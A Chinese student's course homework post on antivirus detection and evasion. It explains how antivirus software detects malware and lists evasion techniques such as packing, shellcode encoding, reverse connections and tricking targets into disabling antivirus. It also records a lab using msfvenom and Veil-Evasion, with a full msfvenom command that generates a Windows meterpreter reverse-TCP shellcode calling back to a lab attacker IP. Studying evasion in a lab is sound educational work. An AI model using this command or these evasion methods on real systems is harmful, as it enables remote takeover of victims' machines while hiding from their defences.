代码改变世界

20169201 2016-2017-2 《网络攻防》第十四周作业

2017-06-03 13:41  melay  阅读(315)  评论(2编辑  收藏  举报

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

杀毒软件对于恶意软件的检测分为三种:

  • 基于特征码的检测:特征码就是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码,因此杀毒软件厂商就需要拥有最新最全的特征码库,也就是所谓的病毒库。
  • 启发式恶意软件检测:简单来说就是一个软件从各方面看起来都像是一个病毒,杀毒软件就觉得它是一个病毒了,只不过这种方式的准确性没有基于特征码的高,但是这种方式可以检测到0-day恶意软件,具有一定通用性
  • 基于行为的恶意软件检测:从理论上可以说是加入了行为监控的启发式检测

(2)免杀是做什么?

简单地说就是对恶意软件进行处理,让杀毒软件和防火墙检测不出来,避免被查杀

(3)免杀的基本方法有哪些?

  • 改变特征码,例如给EXE加壳,通过这种方式让杀毒软件无法进行反汇编、逆向操作,又或者对ShellCode进行编码重组

  • 改变行为

    • 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
    • 操作模式:基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码
  • 其他方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

2.实践总结与体会

这次实验学习了杀软查杀病毒的原理以及免杀技术。安装防火墙和杀软,并不能保证自己的电脑的免受攻击,了解病毒程序的原理可以增强防护意识。

3.离实战还缺些什么技术或步骤?

虽然能够免杀,但是并没有植入其他电脑的方式,比如没有自己复制的功能或者利用系统或协议漏洞进行攻击的步骤

4.实践过程记录

(1)msfvenom直接生成meterpreter可执行文件

windows ip:192.168.1.123
kali ip:192.168.17.137
根据攻击机的IP用msfvenom直接生成meterpreter可执行文件

将其复制到Windows桌面,一开始防火墙会自动隔离,打开防火墙允许该文件,将文件传至网站:www.virscan.org进行检测,检测结果如下:

通过上面的实验可以看出现在编码的方式没有免杀的功能,还是要变换方式进行免杀的改造

(2)用Veil-Evasion生成可执行文件

打开Veil-Evation,按照menu提示进行相关操作

复制到主机,上传检测,检测结果如下:

(3)使用c语言调用shellcode

使用命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.137 LPORT=443 -f c


使用codeblock对数组进行编译生成exe文件,上传文件进行检测。检测结果如下:

5.遇到的问题与解决过程

1.不知道对shellcode 数组如何进行编译

解决方案:参考C语言执行shellcode的五种方法